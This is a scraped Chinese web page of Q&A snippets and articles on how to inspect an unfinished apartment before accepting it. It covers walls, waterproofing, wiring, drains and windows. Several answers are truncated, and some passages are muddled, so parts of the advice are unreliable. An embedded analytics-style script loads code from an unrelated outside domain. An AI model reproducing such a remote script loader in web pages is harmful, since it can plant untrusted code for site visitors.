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张宾实
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鸿信装饰 有用 1
[昵称被屏蔽] 有用 1
yinhuihui2 有用 1
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问谁知道毛胚房验房注意事项有哪些?
答1.核对购房合同的附件及配套设施; 2.净面积测量、开间进深及净高尺寸测量; 3.楼地面空鼓、裂缝、起沙检验; 4.墙面空鼓、裂缝、龟裂、爆灰、平整度
问毛胚房验房注意事项有哪些?
答毛坯房验房要注意验收墙面有没有空鼓。地面有没有爆灰,看家里门窗是不是好用,在看墙上开裂没有,还有家里地漏是不是正常,防水是不是好的,其实就差不多了
问请问毛胚房验房标准是什么?
答验收一套毛坯房,首先应该量尺寸。先量大的尺寸,量开间尺寸,看房间是否方正,其误差应控制在2厘米以内,否则,贴砖或做木地板就会出现大小头的缝隙,非常难看。2厘
问毛胚房验房注意事项有哪些
答主要看一下墙上有没有空鼓,然后防水
问谁晓得毛胚房验房攻略
答给你说下验房程序的标准,也是验房师的主要任务:查看两书一表一数:房屋质量保证书;房屋使用说明书;竣工验收备案表;面积实测数据对照购房合同上的面积(自己可实测
毛胚房验收标准有哪些
买房后的验房是一个非常重要的流程,购买毛坯房也是一样,但很多人都不知道毛坯房的验收标准和要点是什么。所以,接下来给大家从各方面介绍一下毛胚房验收标准。1、水电验收水电是装修中的一个隐蔽项目,但它也是关键点。因此,必须严格按照毛胚房验收标准仔细检查和接受。通常所有接头在缠绕导线后必须缠绕5-8圈。电路完成后,绝缘电阻测试必须大于0.5兆欧,开关应为15厘米,灯头应为40厘米(根据实际的管线接收)。应测试冷热水的水流量,单面墙上线盒的距离和高度应保持一致。2、墙和地板工程验收毛胚房验收标准包括墙面和地砖,表面不能明显交错,你不能使用破碎的砖块。墙壁和地板接缝不应超过3毫米。单壁墙壁不允许有多个空鼓。橱柜,水槽,浴缸等应注意墙角的角落。关节应该是均匀的,角落处应该没有堆积。应该发现厨房浴室地砖有一个不允许淹没的斜坡,浴室的坡度是千分之五。3、木基验收首先使用的最常见的天花板是轻钢龙骨和当地木龙骨。木龙骨在使用前必须涂上防火涂料。主龙骨相距80厘米,次龙骨40厘米。吊肋应尽可能保持垂直,倾斜度不应超过1cm。吊肋应牢固安装,与龙骨的接触应紧密牢固,不应松动。底座的高度应保持一致,房间的中间应正确拱起。机柜合理划分,满足客户要求。机柜的接头紧密不应超过1毫米。接头应牢固粘合,不应有分层。毛胚房验收标准面板不应有明显的损坏和钉孔,线路闭合应光滑,与面板一致,超宽线原则上不得拼接。4、乳胶漆验收在阴阳角处没有明显的弯曲。毛胚房验收标准从墙面50cm处看不到阴影,没有沙眼,没有墙面。刷子的颜色是均匀的,允许轻微的流出物或咬合,并有少量轻微的下垂到眼睛。白色珐琅漆需要刮去基层。毛胚房验收标准有以上三步,买了房子拿到房间钥匙固然开心,一般业主从开发商那里买的房子都是毛胚房,除了门框就什么都没有了,很多业主以为这样的房子就不需要验收,其实毛胚房也是需要验收的,如果发生质量问题,及时和开发商进行沟通。
毛胚房验房标准是什么 包括哪些方面
有的人认为,没有装修过的毛胚房不用验收,直接交房即可。这种做法是非常不可取的,毛胚房质量的好坏关系到之后的装修效果,涉及到的是整体结构和基本施工项目,所以毛胚房的验收尤为重要。那么毛胚房验房标准是什么,包括哪些方面?主要有门窗、墙体地面、电路、水管、通风等,下面具体介绍各自的验收标准。一、检查门窗在毛胚房验房标准中,门窗的检查容易被人忽略,而这又是基本的安全问题。首先看一下门外观是否有裂缝,门框的位置是否竖直。检查窗子安装是否牢固、平整,表面有无刮痕。当场开关门窗测试一下,是否顺畅,确保日常使用。二、检查墙体地面检查室内的墙面和地面是否平整、有无空鼓,如果有这样的现象,会间接的影响到房屋的结构稳定问题,后期维修麻烦。比如说卫生间的墙面不符合毛胚房验房标准,存在空鼓现象,在如此潮湿的环境中,铺设的瓷砖特别容易脱落,造成生活困扰。三、检查电路电路安全一定要重视,在毛胚房验房标准中,电路的布局、施工都要符合相应的规定。检测室内的每个房间通电问题,安装的灯泡、插座能否正常使用。四、检查水管厨房和卫生间是水管线道密集的地方,全面检查每一条水管,确保通畅、没有阻碍。同时做好防水工程,地漏正常。在毛胚房验房标准中,进行闭水试验来测试一下,毕竟隐蔽工程的问题不容易发现。五、检查通风情况房子里的通风条件影响到室内空气质量,要是通风不及时,室内的油烟之类的气味排不出去,室内整体环境都有干扰。在毛胚房验房标准中,一定不能漏掉排风口、烟道等地方,确保空气良好流通。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
毛胚验房注意事项有哪些方面
毛胚验房注意事项有这几个方面:房屋布局及配置、房屋主体、管道、强弱电和防水工程。毛胚房验房是收房前必不可少的一步,掌握好毛胚验房的这几个注意事项,收房事半功倍。1、房屋布局及配置首先,根据购房合同,在毛胚验房时要注意检查房屋布局是否与合同一致,进户通道、室内采光、通风、层高等是否符合要求。其次,查看房屋的配置是否完善,如阳台、空调机位、排烟、换气等。2、房屋主体毛胚验房注意事项中房屋结构质量是关键。其中最简单直观的就是检查墙和地面。一看墙和地面是否有渗漏痕迹,可凭水渍判断渗漏现象。二看墙和地面是否有裂缝,如果是不规则裂缝,多半是表层开裂,如果是规则性裂缝,大多是结构性开裂或贯穿性开裂。三看墙和地面是否有空鼓。3、管道毛胚验房注意事项中的管道指排水管道。尤其是卫生间、阳台的排水口。检查时,可以用水桶接一桶水,倒入排水口,看水是否能够顺畅的流走。还要检查地漏排水管是否有存水弯头,以免地漏反味。4、强弱电毛胚验房注意事项中要确保开关箱内各分路开关是否有明确的标示以及开关线路安装是否牢固;检查强电插座是否通电,接地是否起到保护作用;检查弱电箱内是否光纤进户,是否预留电插座;检查每个电灯是否可以正常使用。5、防水在这几点毛胚房注意事项中的防水,主要指卫生间和阳台的防水。通常漏水的位置有:墙体和地面的连接处还有管道和地面的连接处。这两处地方很容易被忽视,所以一定要在装修前检查好这些地方。在验房的时候可以把细沙放进塑料袋堵住地漏口,然后在地面放水,最好可以没过地面并自查是否有漏水的现象。以上就是毛胚验房注意事项,掌握好这几个方面,验房不头疼。
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